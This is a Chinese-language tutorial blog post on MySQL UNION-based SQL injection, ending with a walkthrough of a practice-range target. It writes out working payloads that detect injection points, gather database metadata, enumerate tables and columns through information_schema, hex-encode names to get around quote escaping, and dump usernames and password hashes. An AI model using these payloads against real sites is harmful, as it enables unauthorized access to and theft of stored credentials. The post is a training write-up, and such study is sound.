Mysql注入—联合查询

文章目录

  • MySQL联合查询
    • 1、mysql基础知识
      • PHP魔术引号
    • 2、如何判断注入点
    • 3、信息收集
    • 4、联合查询注入
        • 4.1、爆出显示位
      • 4.2、收集信息
      • 4.3、查询指定库名下的表名信息
      • 4.4、查询表user下所有列名
      • 4.5、查询指定列下数据
    • 5、联合查询注入墨者靶场练习
      • 5.1、判断存在注入
      • 5.2、爆字段
      • 5.3、爆显示位
      • 5.4、信息收集
      • 5.5、查询指定库名下的表名信息
      • 5.6、查询指定表名StormGroup_member下所有列名信息
      • 5.7、查指定数据

MySQL联合查询

1、mysql基础知识

show databases;    		显示数据库,不同的数据库对应不同的网站
use 数据库名;			 使用这个数据库
show tables;			显示表名
select * from 表名;	   在该表中查询,得到列和数据,*代表所有
desc 表名;			   显示这张表的结构

结构

数据库A---→网站A---→数据库用户A
	表名
		列名
			数据
数据库B---→网站B---→数据库用户B
	表名
		列名
			数据
数据库C---→网站C---→数据库用户C
	表名
		列名
			数据

一步一步注入,不能直接注入得到数据

PHP魔术引号

get 一个参数id=1

当开启魔术引号时数据库执行语句:

select * from user where id=1\'

没有开魔术引号数据库执行语句:

select * from user where id=1'

也就是说魔术引号会自动地在单引号前添加一个反斜杠在数据库执行语句中

2、如何判断注入点

老方法:

and 1=1 页面返回正常

and 1=2 页面错误

select * from users where id=1 limit 0,1

select * from users where id=1 and 1=1 limit 0,1 正常
select * from users where id=1 and 1=2 limit 0,1 错误

逻辑运算符
与 或 非 异或

可能存在注入点,要选用最舒服的方法,参数随便赋值也可

3、信息收集

数据库版本:version()

数据库名:database()

数据库用户:user()

操作系统:@@version_compile_os

数据库路径:@@datadir

同数据库注入

  • 低版本(5.0以下)

    暴力查询或结合读取查询

  • 高版本

    information_schema有据查询

在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名、表名、列名的数据库,也相当于可以通过查询它来获取指定数据库下面的表名或列名信息

数据库中符号. 表示下一级,如user.pass表示user数据库下面的pass表名

information_schema:MySQL默认表,记录所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
information_schema.schemata:记录所有数据库名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

4、联合查询注入

  • 判断注入

  • 猜解列字段(数量),爆字段。

    • order by查询
  • 联合查询。and 1=2 union select

4.1、爆出显示位

Mysql注入—联合查询_第1张图片

4.2、收集信息

Mysql注入—联合查询_第2张图片

Mysql注入—联合查询_第3张图片

数据库名:hackyl
数据库版本:5.0.51b-community-nt-log
数据库用户:root@localhost
操作系统:Win32

数据库版本大于5.0,存在information_schema库

4.3、查询指定库名下的表名信息

union select 1,table_name,3,4,5 from information_schema.tables where table_schema='hackyl'

Mysql注入—联合查询_第4张图片

解决方法:转码

将数据库hackyl转十六进制后就不需要单引号了

Mysql注入—联合查询_第5张图片

由于靶场简陋,查到了两个表。但是实际网站中可能要用参数group_concat(table_name),显示全部数据,否则只会显示第一个数据

union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x6861636b796c

或者在语句结尾使用limit函数筛选,limit(1,1)

4.4、查询表user下所有列名

union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572

此处表名user已转码

Mysql注入—联合查询_第6张图片

有时网页可能做过限制只显示前几个数据,可以查看源代码

4.5、查询指定列下数据

union select 1,group_concat(username),group_concat(password),4,5 from user

Mysql注入—联合查询_第7张图片

猜解多个数据用limit x,1

5、联合查询注入墨者靶场练习

Mysql注入—联合查询_第8张图片

5.1、判断存在注入

5.2、爆字段

order by 4

5.3、爆显示位

Mysql注入—联合查询_第9张图片

用id=-1或者id=1 and 1=2使网页报错

5.4、信息收集

数据库版本:5.7.22-0ubuntu0.16.04.1
数据库名:mozhe_Discuz_StormGroup
数据库用户:root@localhost
操作系统:Linux

数据库版本大于5.0,存在information_schema库

5.5、查询指定库名下的表名信息

union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

Mysql注入—联合查询_第10张图片

得到一个表名

查询所有表

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

Mysql注入—联合查询_第11张图片

5.6、查询指定表名StormGroup_member下所有列名信息

Mysql注入—联合查询_第12张图片

5.7、查指定数据

Mysql注入—联合查询_第13张图片

md5加密

你可能感兴趣的:(SQL注入,渗透测试,网络安全,sql,数据库,web安全,渗透测试)